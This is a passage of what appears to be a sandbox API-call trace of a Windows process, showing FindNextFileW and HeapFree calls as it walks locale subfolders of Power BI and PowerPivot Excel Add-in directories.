ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0167.084] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.084] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6164f96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14648313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14648313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0167.086] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.086] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1434d390, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1434d390, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0167.088] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.088] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf964b3dd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14969496, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14969496, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0167.090] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.091] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x146e0bdc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x146e0bdc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0167.314] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.314] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfae6f174, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14b330aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14b330aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1 [0167.316] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.316] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14ac0994, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14ac0994, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0167.318] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.318] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b529d9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x152a6704, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0167.321] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.321] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf035e09d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0167.323] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.323] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15f460, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0167.326] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.326] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15a3fea8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15a3fea8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0167.328] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.328] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b71118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b71118, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0167.330] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.330] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b24c93, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b24c93, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0167.332] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.332] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15bbd5ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15bbd5ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt", cAlternateFileName="")) returned 1 [0167.335] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.335] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15be380c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15be380c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0167.395] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.395] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6ac83cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d3adab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0167.400] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.400] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d14b21, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d14b21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0167.404] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.404] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6c6bda4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e92299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e92299, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0167.410] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.410] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b359a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e45dad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e45dad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0167.415] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.415] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15f04999, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15f04999, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-cyrl", cAlternateFileName="")) returned 1 [0167.418] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.418] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x160a83ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn", cAlternateFileName="")) returned 1 [0167.422] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.422] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ede724, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0167.426] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.426] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16035c5a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16035c5a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0167.430] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.430] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c66c57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16166f59, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16166f59, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0167.433] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.433] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16140cde, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16140cde, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0167.596] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.596] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0167.598] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.598] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf637b042, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0167.600] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.600] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHS", cAlternateFileName="")) returned 1 [0167.602] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.602] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 1 [0167.604] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.604] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 0 [0167.604] FindClose (in: hFindFile=0x4531880 | out: hFindFile=0x4531880) returned 1 [0167.605] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0167.605] FindNextFileW (in: hFindFile=0x4532100, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerPivot Excel Add-in", cAlternateFileName="POWERP~1")) returned 1 [0167.852] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0167.852] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0167.855] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0167.855] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16605845, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0167.865] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0167.865] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0167.870] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0167.870] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16651cf9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16651cf9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0167.877] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0167.877] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1662bb01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0167.883] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0167.883] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0168.171] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0168.171] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0168.174] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0168.174] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1 [0168.174] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0168.174] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0168.177] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0168.177] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1480f75, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, 